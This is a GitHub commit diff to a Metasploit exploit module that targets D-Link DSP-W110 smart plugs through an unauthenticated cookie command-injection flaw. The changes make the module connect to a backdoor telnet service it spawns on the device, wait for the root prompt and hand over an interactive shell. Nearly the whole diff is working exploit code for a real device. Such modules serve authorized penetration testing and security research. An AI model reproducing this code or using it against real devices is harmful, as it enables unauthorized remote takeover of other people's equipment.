Skip to content

Commit d8e1178

Browse files
author
Michael Messner
committed
cmd_interact - first try
1 parent 1456374 commit d8e1178

File tree

1 file changed

+57
-22
lines changed

1 file changed

+57
-22
lines changed

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

Lines changed: 57 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Auxiliary::CommandShell
1312

1413
def initialize(info = {})
1514
super(update_info(info,
@@ -33,13 +32,37 @@ def initialize(info = {})
3332
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
3433
],
3534
'DisclosureDate' => 'Jun 12 2015',
35+
'Platform' => 'unix',
36+
'Arch' => ARCH_CMD,
37+
'Payload' =>
38+
{
39+
'Compat' => {
40+
'PayloadType' => 'cmd_interact',
41+
'ConnectionType' => 'find',
42+
},
43+
},
44+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
3645
'Targets' =>
3746
[
3847
[ 'Automatic', { } ]
3948
],
4049
'DefaultTarget' => 0
4150
))
4251

52+
register_advanced_options(
53+
[
54+
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
55+
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
56+
], self.class)
57+
58+
end
59+
60+
def tel_timeout
61+
(datastore['TelnetTimeout'] || 10).to_i
62+
end
63+
64+
def banner_timeout
65+
(datastore['TelnetBannerTimeout'] || 25).to_i
4366
end
4467

4568
def check
@@ -76,33 +99,28 @@ def exploit
7699

77100
def handle_telnet(telnetport)
78101

79-
begin
80-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
102+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
81103

82-
if sock
83-
print_good("#{peer} - Backdoor service spawned")
84-
add_socket(sock)
85-
else
86-
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
87-
end
104+
if sock
105+
print_good("#{peer} - Backdoor service spawned")
106+
add_socket(sock)
107+
else
108+
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
109+
end
88110

89-
print_status "Starting a Telnet session #{rhost}:#{telnetport}"
90-
merge_me = {
91-
'USERPASS_FILE' => nil,
92-
'USER_FILE' => nil,
93-
'PASS_FILE' => nil,
94-
'USERNAME' => nil,
95-
'PASSWORD' => nil
96-
}
97-
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
98-
rescue
99-
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled")
111+
print_status("#{peer} - Trying to establish a telnet session...")
112+
prompt = negotiate_telnet(sock)
113+
if prompt.nil?
114+
sock.close
115+
fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session")
116+
else
117+
print_good("#{peer} - Telnet session successfully established...")
100118
end
101-
return
119+
120+
handler(sock)
102121
end
103122

104123
def execute_command(cmd)
105-
106124
begin
107125
res = send_request_cgi({
108126
'method' => 'GET',
@@ -114,4 +132,21 @@ def execute_command(cmd)
114132
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
115133
end
116134
end
135+
136+
# Since there isn't user/password negotiation, just wait until the prompt is there
137+
def negotiate_telnet(sock)
138+
begin
139+
Timeout.timeout(banner_timeout) do
140+
while(true)
141+
data = sock.get_once(-1, tel_timeout)
142+
return nil if not data or data.length == 0
143+
if data =~ /\x23\x20$/
144+
return true
145+
end
146+
end
147+
end
148+
rescue ::Timeout::Error
149+
return nil
150+
end
151+
end
117152
end

0 commit comments

Comments
 (0)